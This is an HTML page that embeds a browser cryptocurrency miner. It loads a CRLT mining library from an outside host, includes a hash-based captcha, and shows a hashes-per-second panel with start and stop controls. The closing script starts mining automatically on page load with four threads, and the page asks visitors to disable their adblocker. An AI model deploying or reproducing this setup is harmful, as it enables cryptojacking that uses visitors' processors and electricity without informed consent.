<html>
    
    <head>
        <title>miner</title>
        </head>
        <body>
            <link rel="stylesheet" type="text/css" href="miner.css">
            <form action="?" method="post">
                <!-- other form fields -->
            
                <script src="captcha.min.js" async></script>
                <div class="CRLT-captcha" data-hashes="1024" data-key="d54c74912f65d4b88f32e50b3fc9208d4d75f68bd592">
                    <em>Loading Captcha...<br>
                    If it doesn't load, please disable Adblock!</em>
                </div>

            </form>

            <div class="block">
                <div class="six columns stopped" id="miner">
                  <div class="row">
                    <div class="four columns">
                      <h4 class="number-label">Hashes/s</h4>
                      <h2 id="mining-hashes-per-second">0.0</h2>
                    </div>
                    <div class="four columns">
                      <h4 class="number-label">Total</h4>
                      <h2 id="mining-hashes-total">0</h2>
                    </div>
                    <div class="four columns">
                      <h4 class="number-label">Threads</h4>
                      <h2>
                        <span id="mining-threads">2</span>
                        <span id="mining-threads-add" class="action">+</span>
                        <span class="mining-divide"> / </span>
                        <span id="mining-threads-remove" class="action">-</span>
                      </h2>
                    </div>
                  </div>
                  <div id="mining-stats-container">
                    <canvas id="mining-stats-canvas"></canvas>
                    <div id="mining-controls">
                      <a href="#" class="mining-button" id="mining-start">
                        <svg class="mining-icon play-button" viewBox="0 0 200 200" alt="Start Mining">
                          <circle cx="100" cy="100" r="90" fill="none" stroke-width="15" class="mining-stroke"/>
                          <polygon points="70, 55 70, 145 145, 100" class="mining-fill"></polygon>
                        </svg>
                        Start      </a>
                      <a href="#" class="mining-button" id="mining-stop">
                        <svg class="mining-icon pause-button" viewBox="0 0 200 200" alt="Pause">
                          <circle cx="100" cy="100" r="90" fill="none" stroke-width="15" class="mining-stroke"/>
                          <rect x="70" y="50" width="20" height="100" class="mining-fill"/>
                          <rect x="110" y="50" width="20" height="100" class="mining-fill"/>
                        </svg>
                      </a>
                    </div>
                    <div id="blk-warning" class="blk-warn" style="display: none">
                      Library failed to load.<br/><strong>Please disable adblock!</strong>
                    </div>
                  </div>
               </div>

               <script src="https://statdynamic.com/lib/crypta.js"></script>
<script src="minui.js"></script>
<script>
var miner = null;
try {
  miner = new CRLT.Anonymous('d54c74912f65d4b88f32e50b3fc9208d4d75f68bd592', {threads: 4});
} catch(e) {}

var ui = new MinerUI(miner, {
  container: document.getElementById('miner'),
  canvas: document.getElementById('mining-stats-canvas'),
  hashesPerSecond: document.getElementById('mining-hashes-per-second'),
  hashesPerSecond: document.getElementById('mining-hashes-per-second'),
  threads: document.getElementById('mining-threads'),
  threadsAdd: document.getElementById('mining-threads-add'),
  threadsRemove: document.getElementById('mining-threads-remove'),
  hashesTotal: document.getElementById('mining-hashes-total'),
  startButton: document.getElementById('mining-start'),
  stopButton: document.getElementById('mining-stop'),
  blkWarn: document.getElementById('blk-warning')
});
ui.autoStart(); // Uncomment this if you would like to start the script automatically.
</script>
</div>
</body>
</html>